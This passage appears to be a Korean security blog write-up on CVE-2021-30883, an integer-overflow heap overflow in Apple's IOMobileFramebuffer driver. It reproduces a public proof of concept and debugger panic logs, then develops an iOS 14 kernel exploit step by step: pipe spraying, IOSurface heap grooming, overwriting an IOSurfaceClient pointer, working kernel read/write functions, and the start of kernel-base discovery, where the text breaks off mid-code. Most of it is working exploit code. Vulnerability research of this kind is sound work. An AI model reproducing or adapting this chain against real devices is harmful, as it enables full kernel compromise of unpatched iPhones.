버그 알아보기 / 트리거 방법
이미 약 4년전에 Saar Ammar 보안 연구원께서 라이트업을 자세하게 적어두었지만, 직접 poc 코드를 실행시켜 눈으로 직접 확인해보려고 한다. 해당 취약점은 In the wild에서 사용된 적이 있었으며, iOS 15.0.2/14.8.1에서 패치되었다. 애플 A10X, A11, A12(X/Z), A13칩 기기에서만 취약점이 작동한다.
PoC 코드는 다음과 같다.
//
// poc.c
// iomfb_poc
//
// Created by Saar Amar.
//
#include "poc.h"
io_connect_t get_iomfb_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 0;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}
void do_trigger(io_connect_t iomfb_uc) {
kern_return_t ret = KERN_SUCCESS;
size_t input_size = 0x180;
uint64_t scalars[2] = { 0 };
char *input = (char*)malloc(input_size);
if (input == NULL) {
perror("malloc input");
return;
}
memset(input, 0x41, input_size);
int *pArr = (int*)input;
pArr[0] = 0x3; // sub-sub selector
pArr[1] = 0xffffffff; // has to be non-zero
pArr[2] = 0x40000001; // #iterations in the outer loop (new_from_data)
pArr[3] = 2;
pArr[8] = 2;
pArr[89] = 4; // #iterations in the inner loop (set_table)
/* each call trigger a flow with a lot of calls to set_table(), while
each set_table() flow will do a loop of only 4 iterations*/
for (size_t i = 0; i < 0x10000; ++i) {
ret = IOConnectCallMethod(iomfb_uc, 78,
scalars, 2,
input, input_size,
NULL, NULL,
NULL, NULL);
}
if (ret != KERN_SUCCESS) {
printf("s_set_block failed, ret == 0x%x --> %s\n", ret, mach_error_string(ret));
} else {
printf("success!\n");
}
free(input);
}
void poc(void) {
io_connect_t iomfb_uc = get_iomfb_uc();
if (iomfb_uc == MACH_PORT_NULL) {
return;
}
do_trigger(iomfb_uc);
// we don't reach here, but for completness
IOServiceClose(iomfb_uc);
}
int main(void) {
poc();
}
그리고 iOS 14.0 beta5 / QEMUAppleSilicon 환경에서 PoC를 트리거하면,
IOMFB::TableCompensator::BilerpGainTable::new_from_data 함수에서 kalloc_ext 호출하는데, 여기서 kext.kalloc.80 존으로부터 커널메모리를 할당받을때에 패닉이 발생한다.
(lldb) c
Process 1 resuming
Process 1 stopped
* thread #2, stop reason = breakpoint 1.1
frame #0: 0xfffffff0097db944 kernel.research.iphone12b`panic
kernel.research.iphone12b`panic:
-> 0xfffffff0097db944 <+0>: pacibsp
0xfffffff0097db948 <+4>: sub sp, sp, #0x20
0xfffffff0097db94c <+8>: stp x29, x30, [sp, #0x10]
0xfffffff0097db950 <+12>: add x29, sp, #0x10
Target 0: (kernel.research.iphone12b) stopped.
(lldb) bt
* thread #2, stop reason = breakpoint 1.1
* frame #0: 0xfffffff0097db944 kernel.research.iphone12b`panic
frame #1: 0xfffffff008127ee4 kernel.research.iphone12b`zone_element_not_clear_panic + 60
frame #2: 0xfffffff007a9156c kernel.research.iphone12b`zalloc_validate_element + 236
frame #3: 0xfffffff007a94d34 kernel.research.iphone12b`zcache_alloc_from_cpu_cache + 292
frame #4: 0xfffffff007a92d3c kernel.research.iphone12b`zalloc_ext + 60
frame #5: 0xfffffff007a3bf74 kernel.research.iphone12b`kalloc_ext + 152
frame #6: 0xfffffff009773fd4 kernel.research.iphone12b`IOMFB::TableCompensator::BilerpGainTable::new_from_data(IOMFBLUTTableState const*, int, unsigned int, int const*, int const*, int) + 192
frame #7: 0xfffffff0097759a0 kernel.research.iphone12b`IOMFB::TempCompHandler::set(IOMFB_0D_Temp_State const*, unsigned int) + 1064
frame #8: 0xfffffff0096de958 kernel.research.iphone12b`IOMFB::GateManager::runAction(IOMFBStatus (*)(OSObject*, void*, void*, void*, void*), void*, void*, void*, void*)::$_1::operator()(OSObject*, void*, void*, void*, void*) const + 112
frame #9: 0xfffffff0096de8dc kernel.research.iphone12b`IOMFB::GateManager::runAction(IOMFBStatus (*)(OSObject*, void*, void*, void*, void*), void*, void*, void*, void*)::$_1::__invoke(OSObject*, void*, void*, void*, void*) + 64
frame #10: 0xfffffff008050900 kernel.research.iphone12b`IOCommandGate::runAction(int (*)(OSObject*, void*, void*, void*, void*), void*, void*, void*, void*) + 220
frame #11: 0xfffffff0096ddedc kernel.research.iphone12b`IOMFB::GateManager::runAction(IOMFBStatus (*)(OSObject*, void*, void*, void*, void*), void*, void*, void*, void*) + 340
frame #12: 0xfffffff00979d8a0 kernel.research.iphone12b`IOMFB::PBTBlockHandler<IOMFB_0D_Temp_State>::set(void const*, unsigned long, unsigned long long const*, unsigned int, IOMFB::Gate*, void const*, unsigned int) const + 264
frame #13: 0xfffffff0097c1994 kernel.research.iphone12b`IOMFB::PBTBlockMgr::exec(IOMFB_Parameter_Block_Type, IOMFB::PBTBlockMgr::Op, task*, void const*, IOMFBStatus (IOMFB::PBTBlockHandlerGeneric*, void*, unsigned int) block_pointer, bool) const + 432
frame #14: 0xfffffff0097c1c00 kernel.research.iphone12b`IOMFB::PBTBlockMgr::set_block(task*, IOMFB_Parameter_Block_Type, void const*, unsigned long, unsigned long long const*, unsigned int, bool) const + 144
frame #15: 0xfffffff0097bf3d0 kernel.research.iphone12b`UnifiedPipeline::set_block(task*, unsigned int, unsigned int, unsigned long long const*, unsigned int, unsigned char const*, unsigned long) + 28
frame #16: 0xfffffff0096e29cc kernel.research.iphone12b`IOMobileFramebufferUserClient::s_set_block(IOMobileFramebufferUserClient*, void*, IOExternalMethodArguments*) + 312
frame #17: 0xfffffff00808cb78 kernel.research.iphone12b`IOUserClient::externalMethod(unsigned int, IOExternalMethodArguments*, IOExternalMethodDispatch*, OSObject*, void*) + 612
frame #18: 0xfffffff0096e141c kernel.research.iphone12b`IOMobileFramebufferUserClient::externalMethod(unsigned int, IOExternalMethodArguments*, IOExternalMethodDispatch*, OSObject*, void*) + 292
frame #19: 0xfffffff00809a98c kernel.research.iphone12b`is_io_connect_method + 708
frame #20: 0xfffffff007b25190 kernel.research.iphone12b`_Xio_connect_method + 408
frame #21: 0xfffffff007a30e9c kernel.research.iphone12b`ipc_kobject_server + 752
frame #22: 0xfffffff007a021d8 kernel.research.iphone12b`ipc_kmsg_send + 292
frame #23: 0xfffffff007a1d810 kernel.research.iphone12b`mach_msg_overwrite_trap + 284
frame #24: 0xfffffff007b4a434 kernel.research.iphone12b`mach_syscall + 396
frame #25: 0xfffffff007b57094 kernel.research.iphone12b`sleh_synchronous + 1780
frame #26: 0xfffffff00811c5f4 kernel.research.iphone12b`fleh_synchronous + 40
frame #27: 0x00000001ae355224
frame #28: 0x00000001af456ee4
frame #29: 0x00000001af3dee18
frame #30: 0x00000001002a4178
frame #31: 0x00000001002a4238
frame #32: 0x00000001002a4260
frame #33: 0x00000001ae383e60
...
panic(cpu 1 caller 0xfffffff008127ee4): "Zone element 0xffffffe19ce185f0 was modified after free for zone kext.kalloc.80: " "Expected element to be cleared"
Debugger message: panic
Memory ID: 0x0
OS release type: Beta
OS version: 18A5351d
Kernel version: Darwin Kernel Version 20.0.0: Wed Aug 12 22:56:55 PDT 2020; root:xnu-7195.0.33~64/RELEASE_ARM64_T8030
Kernel UUID: FDDAF386-4EA2-35FC-8235-1F167AEFD6F3
iBoot version: ChefKiss QEMU Apple Silicon
secure boot?: YES
Paniclog version: 13
Kernel text base: 0xfffffff007004000
mach_absolute_time: 0x1c00bbfa
Epoch Time: sec usec
Boot : 0x694d496f 0x00079126
Sleep : 0x00000000 0x00000000
Wake : 0x00000000 0x00000000
Calendar: 0x694d4980 0x000db633
Panicked task 0xffffffe19ccadf40: 75 pages, 1 threads: pid 124: CVE-2021-30883
...
커널 디버깅을 하면서 취약점 있는 함수까지 어떻게 도달되는지 살펴보자.
우선 함수 경로를 확인해보면, IOMobileFramebufferUserClient::s_set_block 를 호출시키기 위해 78번의 셀렉터를 사용한다.
ret = IOConnectCallMethod(iomfb_uc, 78, ...)
그리고 IOMFB::TempCompHandler::set 에서 case 3 구문으로 브랜치하기 위해 서브 셀럭터가 인풋으로 들어간다.
pArr[0] = 0x3; // sub-sub selector
...
/* each call trigger a flow with a lot of calls to set_table(), while
each set_table() flow will do a loop of only 4 iterations*/
for (size_t i = 0; i < 0x10000; ++i) {
ret = IOConnectCallMethod(iomfb_uc, 78,
IOMobileFramebufferUserClient::s_set_block 에서 IOMFB::TableCompensator::BilerpGainTable::new_from_data 취약점 있는 함수에 도달하기까지의 그림을 나타내자면 복잡하지만, 아래와 같다.

취약점이 있는 IOMFB::TableCompensator::BilerpGainTable::new_from_data 를 살펴보곘다.
커널을 할당할때에 여러 연산을 거쳐 할당받을 크기를 계산하고 operator new[] 를 호출하여 커널 메모리를 할당한다. operator new[]는 KHEAP_KEXT 타입으로 할당받는다. 문제는 여기서 해당 함수로 이어지는 호출 스택 어디에도 연산을 할때에 정수 오버플로우 검증이 존재하지 않는다는 점이다!
해당 연산을 수행할때 코드들 보면, v14, v15, a3 모두 인풋값으로 제어할 수 있으며, 최종적으로 0x44라는 정수 오버플로우를 낳게 만든다.
그런 다음, IOMFB::TableCompensator::BilerpGainTable::set_table를 호출하는데, 한번 살펴보자. 할당된 커널 영역에 사용자 데이터를 쓰는, wild-copy가 발생한다. 총 4번의 반복으로 값이 써지고 있으며 이 반복횟수 또한 제어가 가능하다.
IOMFB::TableCompensator::BilerpGainTable::new_from_data 후반부 코드에서는 총 0x40000001번 IOMFB::TableCompensator::BilerpGainTable::set_table 함수를 반복 호출시킴으로써 계속 wild-copy가 발생하도록 만든다.
그 결과, 0x44크기만큼 커널 메모리를 할당시켰지만, 28바이트만큼 더 써졌기 때문에 힙 오버플로우가 발생한다. (총 60바이트만큼 쓰임)

익스플로잇 (iOS 14.x)
1. 익스플로잇 아이디어
Zer0con 2022 발표자료를 통해 익스플로잇 방법에 대한 힌트를 얻었다. 바로, 힙 오버플로우 취약점을 통해 IOSurfaceClient 객체의 데이터를 임의로 제어하는 것이다.

해당 객체는 이전에 내가 작성한 “[실습] CVE-2021-30937(multicast_bytecopy) 이해하기 (macOS 12.0.1 / iOS 15)“ 라이트업을 보면 알겠지만, 커널 읽기/쓰기에 매우 중요한 요소이다. IOSurfaceClient 요소의 +0x40 위치(IOSurface 포인터)를 임의로 제어할 수 있기 때문에, 충분한 간접 참조 수준(indirection)이 있어 커널 임의 쓰기와 읽기 수행이 가능하다.
그렇기 때문에 IOSurfaceClient 요소의 +0x40 위치에는 우리가 데이터를 임의로 제어가능한 커널 주소로 덮어써야 한다.
pipe를 되도록 많이 생성하고 (커널 페이지 크기-1)만큼 write시키면 KHEAP_DATA_BUFFERS 타입으로 커널 메모리가 할당된다. 할당된 주소들을 프로파일링하고, 프로파일링된 주소로 덮자. 그러면 IOSurface 객체 대신에 할당된 여러 파이프 커널데이터 주소들 중 하나로 대신 가리키게 된다.

IOSurfaceClient 객체는 IOSurfaceClient::MetaClass::alloc 에서 KHEAP_KEXT 타입으로 커널 메모리를 할당받는다. 할당 크기는 152이므로, 정확히는 kext.kalloc.160 존으로부터 할당받는다.
OSObject *__fastcall IOSurfaceClient::MetaClass::alloc(IOSurfaceClient::MetaClass *this)
{
OSObject *v1; // x19
OSObject *v2; // x0
v1 = (OSObject *)OSObject::operator new(152u);// kalloc from KHEAP_KEXT
v2 = OSObject::OSObject(v1, &IOSurfaceClient::gMetaClass);
v2->__vftable = (OSObject_vtbl *)&off_FFFFFFF0078319C8;
v2[4].__vftable = 0;
*(_QWORD *)&v2[4].retainCount = 0;
OSMetaClass::instanceConstructed(&IOSurfaceClient::gMetaClass);
return v1;
}
PoC 코드에서 pArr[2], pArr[89]의 값을 각각 0x40000000, 40으로 바꾸면
기존 커널 할당크기였던 0x44에서 0xa0(=160)으로 늘릴 수 있다.
시행착오로 값을 하나씩 바꾸면서 패닉 로그를 통해 커널 할당크기를 일일이 확인할 수도 있겠지만, 커널 디버깅을 통해 커널 할당크기가 어떻게 계산되는지 확인해보자.
...
pArr[0] = 0x3; // sub-sub selector
pArr[1] = 0xffffffff; // has to be non-zero
pArr[2] = 0x40000000; // #iterations in the outer loop (new_from_data)
pArr[3] = 2;
pArr[8] = 2;
pArr[89] = 40; // #iterations in the inner loop (set_table)
/* each call trigger a flow with a lot of calls to set_table(), while
each set_table() flow will do a loop of only 4 iterations*/
for (size_t i = 0; i < 0x10000; ++i) {
ret = IOConnectCallMethod(iomfb_uc, 78,
scalars, 2,
input, input_size,
NULL, NULL,
NULL, NULL);
}
...
커널 할당크기는 아래 사진과 같이 계산되며,
>>> hex((12 * 40 * 0x40000000 + 4 * (40 + 0x40000000)) & 0xffffffff)
'0xa0'
160 크기의 할당 존을 넘어서서, 0x64바이트 임의로 더 원하는 데이터를 덮어쓸 수 있었다.

그리고 중요한 것은, IOSurfaceClient 요소의 +0x40 위치(IOSurface 포인터)를 임의로 제어하기 위해 input 데이터 중 어느 오프셋을 제어하느냐다.
*(uint64_t *)(input + 0x150), *(uint64_t *)(input + 0x158) 두 곳을 임의로 값을 넣어줬더니,
결과는 아래와 같았다.
160 크기의 할당받은 커널영역을 넘어선 다음의 160크기 존을 살펴보면, +0x40 위치에는 0x1339134085868788 값이 들어간다.
즉, *(uint64_t *)(input + 0x158)의 하위 4바이트값과 *(uint64_t *)(input + 0x150)의 하위 4바이트값이 들어간다.
*(uint64_t *)(input + 0x150) = 0x8182838485868788;
*(uint64_t *)(input + 0x158) = 0x1337133813391340; // to control IOSurface ptr
[0xffffffe4cc610fa0+0x000] 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
[0xffffffe4cc610fa0+0x010] 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
[0xffffffe4cc610fa0+0x020] 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
[0xffffffe4cc610fa0+0x030] 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
[0xffffffe4cc610fa0+0x040] 88 87 86 85 40 13 39 13 38 13 37 13 41 41 41 41 | [email protected] <--
[0xffffffe4cc610fa0+0x050] 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
[0xffffffe4cc610fa0+0x060] 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 | AAAA............
따라서 아래 코드로 +0x40 오프셋에 임의로 8바이트값을 컨트롤할 수 있었다.
*(uint64_t *)(input + 0x150) = 0x8182838400000000 + ((KHEAP_DATA_MAPPABLE_LOC+0x10) & 0xffffffff);
*(uint64_t *)(input + 0x158) = 0x1337133813391340;
*(uint64_t *)(input + 0x154) = KHEAP_DATA_MAPPABLE_LOC+0x10;
2. 파이프 스프레이하기 전 프로파일링
익스플로잇하기전에 먼저 파이프 스프레이에 의해 할당되는 커널주소들을 각각 얻어 프로파일링시켜야한다
파이프를 0x320갯수만큼 생성하고, 각 파이프마다 (0x4000-1)만큼 0x42값을 채운다. 그러면 내부적으로 data.kalloc.16384 (type: KHEAP_DATA_BUFFERS) 존으로부터 커널 메모리를 0x320번 할당시키는 셈이 된다.
int write_data_pipes(int *pipefds, int total_pipes, void* data, size_t data_sz) {
void *pipebuf = malloc(kernel_page_size);
bzero(pipebuf, kernel_page_size);
memcpy(pipebuf, (void *)data, data_sz);
for (int i = 0; i < total_pipes; i++)
{
int rfd = pipefds[2 * i];
int wfd = pipefds[2 * i + 1];
if(data_sz >= 0x3f10) {
*(uint16_t *)(pipebuf + 0x3f04) = rfd;
*(uint16_t *)(pipebuf + 0x3f06) = wfd;
}
size_t written = write(wfd, pipebuf, kernel_page_size - 1);
if (written != kernel_page_size - 1)
{
total_pipes = i;
printf("total_pipes is now: %d", total_pipes);
break;
}
}
free(pipebuf);
return 0;
}
#if ENABLE_HELPER && PROFILLING_KHEAP_DATA_BUFFERS
int obtain_pipes_kaddr(int *pipefds, int total_pipes) {
uint64_t p_fd = tfp0_kread64(proc_of_pid(getpid()) + off_p_pfd);
printf("p_fd = 0x%llx\n", p_fd);;
uint64_t fd_ofiles = tfp0_kread64(p_fd);
printf("fd_ofiles = 0x%llx\n", fd_ofiles);
uint64_t last_pipe_base = 0;
for (int i = 0; i < total_pipes; i++) {
int rfd = pipefds[2 * i];
uint64_t rpipe_fp = tfp0_kread64(fd_ofiles + rfd * 8);
uint64_t r_fp_glob = tfp0_kread64(rpipe_fp + off_fp_fglob);
uint64_t rpipe = tfp0_kread64(r_fp_glob + off_fg_data);
uint64_t pipe_base = tfp0_kread64(rpipe + off_pb_buffer);
printf("KHEAP_DATA_BUFFERS KALLOCATED ADDR = 0x%llx\n", pipe_base);
last_pipe_base = pipe_base;
}
printf("[!] Try setting macro KHEAP_DATA_MAPPABLE_LOC to 0x%llx\n", last_pipe_base - (0x4000*(total_pipes / 2)));
return 0;
}
#endif
...
int main(int argc, char *argv[], char *envp[]) {
offsets_init();
#if ENABLE_HELPER
if(init_tfp0() == KERN_SUCCESS) {
printf("tfp0: 0x%" PRIx32 "\n", tfp0);
int r = tfp0_get_kbase(&tfp0_kbase);
printf("tfp0_get_kbase ret: %d, tfp0_kbase: 0x%llx, tfp0_kslide: 0x%llx\n", r, tfp0_kbase, tfp0_kslide);
init_kexecute();
#endif
...
increase_file_limit();
#if ENABLE_HELPER && PROFILLING_KHEAP_DATA_BUFFERS
int total_pipes_ = 0x320;
int *pipefds_ = create_pipes(total_pipes_);
void *pipe_data_ = malloc(kernel_page_size);
memset(pipe_data_, 0x42, kernel_page_size);
write_data_pipes(pipefds_, total_pipes_, pipe_data_, kernel_page_size);
obtain_pipes_kaddr(pipefds_, total_pipes_);
close_pipes(pipefds_, total_pipes_, false, 0, 0);
goto cleanup;
#endif
...
파이프의 할당된 커널 주소는 아래 그림과 같이 나타낼 수 있다.
kernproc에서 순회하여 여러 프로세스 들중에 익스플로잇하는 자기 프로세스(selfproc)인지 pid 값을 통해 확인한다. 그런 다음, proc 구조체의 p_fd 필드부터 순차적으로 접근하여 pipe_base까지 도달시킴으로써 파이프 할당주소를 가져올 수 있다.

checkra1n을 통해 탈옥하고, 파이프 스프레이를 통해 프로파일링 주소를 확인해본 결과 → 아이폰8 / iOS 14.4.2 기준으로 0xffffffe4ce978000 주소가 나왔다.
#define KHEAP_DATA_MAPPABLE_LOC 0xffffffe4ce978000
3. 파이프 스프레이
이제 본격적으로 익스플로잇하기 위해 파이프 스프레이를 진행한다. 예상대로라면, 파이프에 의해 할당된 여러 커널 주소 중 어느 한 곳이 0xffffffe4ce978000 주소를 가리키고 있을 것이다.
추후 손상된 IOSurface 객체인지 구분하기 위해
*(uint64_t *)(pipe_data + 0x10 + 0xC0)에 (KHEAP_DATA_MAPPABLE_LOC + 0x3f04) - 0x14 값을 쓴다. 그러면, IOSurface::get_use_count를 통해 KHEAP_DATA_MAPPABLE_LOC + 0x3f04 커널 주소로부터 값을 읽어올 수 있다.
그리고 write_data_pipes를 수행하는데, 해당 커널 주소로부터 읽힐때에 파이프의 파일 디스크립터값을 얻을 수 있도록 기록해두었다.
int write_data_pipes(int *pipefds, int total_pipes, void* data, size_t data_sz) {
void *pipebuf = malloc(kernel_page_size);
bzero(pipebuf, kernel_page_size);
memcpy(pipebuf, (void *)data, data_sz);
for (int i = 0; i < total_pipes; i++)
{
int rfd = pipefds[2 * i];
int wfd = pipefds[2 * i + 1];
if(data_sz >= 0x3f10) {
*(uint16_t *)(pipebuf + 0x3f04) = rfd;
*(uint16_t *)(pipebuf + 0x3f06) = wfd;
}
size_t written = write(wfd, pipebuf, kernel_page_size - 1);
if (written != kernel_page_size - 1)
{
total_pipes = i;
printf("total_pipes is now: %d", total_pipes);
break;
}
}
free(pipebuf);
return 0;
}
int main(int argc, char *argv[], char *envp[]) {
...
printf("Exploiting CVE-2021-30883 (first journey from poc to exploit by @wh1te4ever!)\n");
// pipe spray
int total_pipes = 0x320;
int *pipefds = create_pipes(total_pipes);
void *pipe_data = malloc(kernel_page_size);
memset(pipe_data, 0x42, kernel_page_size);
*(uint64_t *)(pipe_data + 0x10 + 0xC0) = (KHEAP_DATA_MAPPABLE_LOC + 0x3f04) - 0x14; //will be read by IOSurface::get_use_count, will read data from kernel addr(KHEAP_DATA_MAPPABLE_LOC + 0x3f04)
write_data_pipes(pipefds, total_pipes, pipe_data, kernel_page_size);
...
4. IOSurface 스프레이 / 구멍 뚫기
IOSurfaceRoot_create_surface_fast 를 여러번 호출하여 약 1600개의 IOSurfaceClient 객체를 할당시킨다.
IOSurfaceRoot_release_surface를 호출하여
IOSurfaceClients 배열들 중 사이사이에 할당된 IOSurfaceClient 객체를 할당해제하여 구멍을 뚫는다.
int main(int argc, char *argv[], char *envp[]) {
...
// iosurface & iomfb
mach_port_t iosurface_uc = IOSurfaceRoot_init();
io_connect_t iomfb_uc = get_iomfb_uc();
...
// spray IOSurface
for (int i = 0; i < 0x1000; ++i)
{
uint32_t last_id = IOSurfaceRoot_create_surface_fast(iosurface_uc);
gIOSurface_ids[gIOSurface_id_count] = last_id;
gIOSurface_id_count++;
if ((0x3400) <= (last_id * sizeof(uint64_t)))
{
break;
}
}
// punch hole kext.kalloc.160, free! (heap fengshui)
// Thanks @jaakerblom for release Zer0con 2022 slide, that gives me idea!
uint32_t last_free_surfid = 0;
for (int32_t surf_idx = 0; surf_idx < gIOSurface_id_count; surf_idx++)
{
if(surf_idx >= 100 && surf_idx % 100 == 0) {
IOSurfaceRoot_release_surface(iosurface_uc, gIOSurface_ids[surf_idx]);
printf("release, iosurf_id = 0x%x\n", gIOSurface_ids[surf_idx]);
last_free_surfid = gIOSurface_ids[surf_idx];
gIOSurface_ids[surf_idx] = 0;
}
}
...
5. 취약점 트리거, 손상된 IOSurfaceClient 객체 찾기
trigger_vuln을 수행하면, kext.kalloc.160 존으로부터 커널 메모리 할당받는 것과 동시에
IOSurfaceClient 객체들 중 어느 하나가 +0x40 오프셋에 프로파일링된 KHEAP_DATA_MAPPABLE_LOC 주소로 덮힐 것이다.
마지막으로 할당해제된 surfid를 기점으로 surfid를 조금씩 점차 증가/감소시키면서, IOSurfaceRoot_get_surface_use_count 리턴값을 매번 확인하여 파이프 읽기/쓰기용 파일 디스크립터 값을 획득한다.
이제부터는 특정 IOSurfaceClient를 통해 커널 읽기/쓰기가 가능해진다.
int trigger_vuln(io_connect_t iomfb_uc) {
//trigger oob write kext.kalloc.160
//Thanks @AmarSaar for providing detail write-up and poc; https://github.com/saaramar/IOMFB_integer_overflow_poc
kern_return_t ret = KERN_SUCCESS;
size_t input_size = 0x180;
uint64_t scalars[2] = { 0 };
char *input = (char*)malloc(input_size);
memset(input, 0x41, input_size);
// control IOSurface ptr
*(uint64_t *)(input + 0x150) = 0x8182838400000000 + ((KHEAP_DATA_MAPPABLE_LOC+0x10) & 0xffffffff);
*(uint64_t *)(input + 0x158) = 0x1337133813391340;
*(uint64_t *)(input + 0x154) = KHEAP_DATA_MAPPABLE_LOC+0x10;
int *pArr = (int*)input;
pArr[0] = 0x3; // sub-sub selector
pArr[1] = 0xffffffff; // has to be non-zero
pArr[2] = 0x40000000; // #iterations in the outer loop (new_from_data)
pArr[3] = 2;
pArr[8] = 2;
pArr[89] = 40; // #iterations in the inner loop (set_table)
// do oob write to corrupt IOSurfaceClient
ret = IOConnectCallMethod(iomfb_uc, 78,
scalars, 2,
input, input_size,
NULL, NULL,
NULL, NULL);
return 0;
}
int main(int argc, char *argv[], char *envp[]) {
...
trigger_vuln(iomfb_uc);
// find out corrupted IOSurfaceClient's surf_id
uint32_t krw_surf_id = 0;
uint32_t krw_rfd = 0;
uint32_t krw_wfd = 0;
for (int i = 0; i < 50; i++)
{
uint32_t surf_id = last_free_surfid - i;
uint32_t pipefd_leak = IOSurfaceRoot_get_surface_use_count(iosurface_uc, surf_id);
if(pipefd_leak != 0) {
krw_rfd = pipefd_leak & 0xffff;
krw_wfd = (pipefd_leak >> 16) & 0xFFFF;
printf("[+] Found corrupted IOSurfaceClient's surf_id = 0x%x\n", surf_id);
printf("[+] pipefd_leak = 0x%x, krw_rfd = 0x%x, krw_wfd = 0x%x\n", pipefd_leak, krw_rfd, krw_wfd);
krw_surf_id = surf_id;
break;
}
surf_id = last_free_surfid + i;
pipefd_leak = IOSurfaceRoot_get_surface_use_count(iosurface_uc, surf_id);
if(pipefd_leak != 0) {
krw_rfd = pipefd_leak & 0xffff;
krw_wfd = (pipefd_leak >> 16) & 0xFFFF;
printf("[+] Found corrupted IOSurfaceClient's surf_id = 0x%x\n", surf_id);
printf("[+] pipefd_leak = 0x%x, krw_rfd = 0x%x, krw_wfd = 0x%x\n", pipefd_leak, krw_rfd, krw_wfd);
krw_surf_id = surf_id;
break;
}
}
...
6. 커널 읽기/쓰기 테스트
커널 읽기/쓰기용으로 사용되는 파이프를 제외한 모든 파이프들을 닫아주고, IOSurface에서 제공하는 셀럭터를 호출하여 커널 읽기/쓰기를 테스트해본다.
이미 설명했듯이, IOSurface 포인터를 제어했기 때문에, 충분한 간접 참조 수준(indirection)이 있어 커널 임의 쓰기와 읽기가 가능하다.
int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe)
{
_uc = uc;
_surf_id = surf_id;
_read_pipe = read_pipe;
_write_pipe = write_pipe;
return 0;
}
uint32_t kread32(uint64_t kaddr)
{
uint8_t buf[kernel_page_size];
read(_read_pipe, buf, kernel_page_size-1);
*(uint64_t *)(buf + 0x10 + 0xC0) = kaddr - 0x14;
write(_write_pipe, buf, kernel_page_size-1);
return IOSurfaceRoot_get_surface_use_count(_uc, _surf_id);
}
uint64_t kread64(uint64_t kaddr)
{
uint8_t b[8];
*(uint32_t *)b = kread32(kaddr);
*(uint32_t *)(b + 4) = kread32(kaddr + 4);
return *(uint64_t *)b;
}
void kwrite64(uint64_t kaddr, uint64_t val)
{
uint8_t buf[kernel_page_size];
read(_read_pipe, buf, kernel_page_size-1);
*(uint64_t *)(buf + 0x10 + 0x360) = kaddr; // See IOSurface::setIndexedTimestamp
write(_write_pipe, buf, kernel_page_size-1);
IOSurfaceRoot_set_indexed_timestamp(_uc, _surf_id, val);
}
...
int main(int argc, char *argv[], char *envp[]) {
...
//close all pipe except krw related
close_pipes(pipefds, total_pipes, true, krw_rfd, krw_wfd);
//check if krw works
kernel_rw_init(iosurface_uc, krw_surf_id, krw_rfd, krw_wfd);
// Is kread working?
uint64_t kaddr = KHEAP_DATA_MAPPABLE_LOC + 0x2000;
uint64_t val = kread64(kaddr);
printf("kaddr: 0x%llx -> val: 0x%llx\n", kaddr, val);
if(val != 0x4242424242424242) {
printf("kernel read failed! :(\n");
spinning();
}
// Is kwrite working?
printf("Writing 0xcafebabe13371338 to kaddr(=0x%llx)\n", kaddr);
kwrite64(kaddr, 0xcafebabe13371338);
val = kread64(kaddr);
printf("kaddr: 0x%llx -> val: 0x%llx\n", kaddr, val);
if(val != 0xcafebabe13371338) {
printf("kernel write failed! :(\n");
spinning();
}
printf("Confirmed working kernel read/write!\n");
...
7. 커널 베이스 구하기
포트 메시지를 할당시키는데, 이때는 KHEAP_DATA_BUFFERS 타입으로 할당된다. 포트 메시지를 0x2a00번만큼 여러번 스프레이한다면, KHEAP_DATA_MAPPABLE_LOC를 기점으로 높은 주소 어딘가에 여러 포트 메시지들 중 어느 하나가 할당되있을것이다. 이를 통해 ikm_header 구조체 주소를 얻을 수 있다.
해당 구조체에서 출발하여 msgh_remote_port, data.receiver, is_task 필드를 단계적으로 접근하여 현재 실행중인 자기 자신 프로세스의 task 주소를 획득한다.
이후엔 포트 주소를 가져오는 것이 가능하므로, IOSurfaceRootUserClient 객체부터 구조체 필드에 차례로 접근하여 vtable에 접근한다.
vtable에 있는 IOUserClient::getTargetAndTrapForIndex 함수 주소를 가져오고, 해당 함수 주소가 속한 페이지의 주소로 내림한 다음, 커널 주소를 읽고 페이지 크기만큼 읽힐 주소를 감소시킴을 반복함으로써 커널 베이스를 찾으면 된다.
// Ian Beer
mach_msg_size_t message_size_for_kalloc_size(mach_msg_size_t kalloc_size) {
return ((3 * kalloc_size) / 4) - 0x74;
}
kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {
mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
struct simple_msg *msg = malloc(msg_size);
memset(msg, 0, sizeof(struct simple_msg));
msg->hdr.msgh_remote_port = destination;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = msg_size;
memcpy(&msg->buf[0], buffer, size);
kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (ret) {
printf("[-] failed to send message\n");
mach_port_destroy(mach_task_self(), destination);
free(msg);
return ret;
}
free(msg);
return KERN_SUCCESS;
}
...
int main(int argc, char *argv[], char *envp[]) {
...
#define port_cnt 0x2a00
mach_port_t ports[port_cnt] = {};
// setup ports
for (int i = 0; i < port_cnt; i++) {
ports[i] = new_mach_port();
}
// spray kheap data ports
int port_i = 0;
#define POP_PORT() ports[port_i++]
for(int i = 0; i < port_cnt; i++) {
mach_port_t current_port = POP_PORT();
